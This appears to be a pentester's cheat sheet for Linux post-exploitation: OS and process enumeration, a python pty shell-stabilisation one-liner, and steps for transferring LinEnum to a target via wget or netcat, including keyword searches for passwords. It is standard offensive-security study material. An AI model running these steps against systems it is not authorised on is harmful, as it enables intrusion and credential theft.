Version of linux

cat /etc/lsb-release (might not be installed**)**
cat /etc/os-release
cat /proc/version
cat /etc/issue **(the friendly version info)**
hostnamectl

The Quick Wins

diego-treitos/linux-smart-enumeration

Commands

sudo -l # If a result pops up, it's very likely to be the privesc

ip addr # Check if the box is dual homed

ps aux # Check non standard processes running as root, any processes that didn't show during initial exploitation

ss -plant # Check for services listening internally, checks similar to ps aux

# Stabilised TTY shell
python -c 'import pty; pty.spawn("/bin/sh")'
export TERM=xterm

Automated Scripts

LinuxPrivChecker #Check for privilege escalation methods
Unix-privesc-check # Script for finding common misconfigurations which can help elevate our privileges on a linux based system

LinEnum (use the quick wins smart-enum version if possible)

Automated information gathering tool

  1. Transfer LinEnum across: To use LinEnum once on a system we need to download it onto the target Assuming wget is installed: wget [<https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh>](<https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh>) If you’re unable to download LinEnum, you can use netcat to transfer it across by setting up a listener on the target to redirect incoming data to a new file while the attacker connects and redirects LinEnum.sh to the target: Target machine: nc -l -p 1234 > [LinEnum.sh](<http://linenum.sh/>) Attacker machine: nc -w 3 <target_IP> 1234 < [LinEnum.sh](<http://linenum.sh/>) NOTE: when transferring files by netcat, all traffic is unencrypted and may be detected by Intrusion Detection Systems or other anomalous traffic detection mechanisms implemented within an organisation. It’s quick and easy to transfer files using netcat, but not stealthy.
  2. Change permissions: Set the executable bit of the script to run it chmod +x [LinEnum.sh](<http://linenum.sh/>)
  3. Running LinEnum: Running it with the -h switch shows the options: ./LinEnum.sh -h Using the -k (keyword) option we ca have LinEnum search configuration files for a string such as “password” that can reveal credentials.

Linux Exploit Suggester

Post Exploitation Command Lists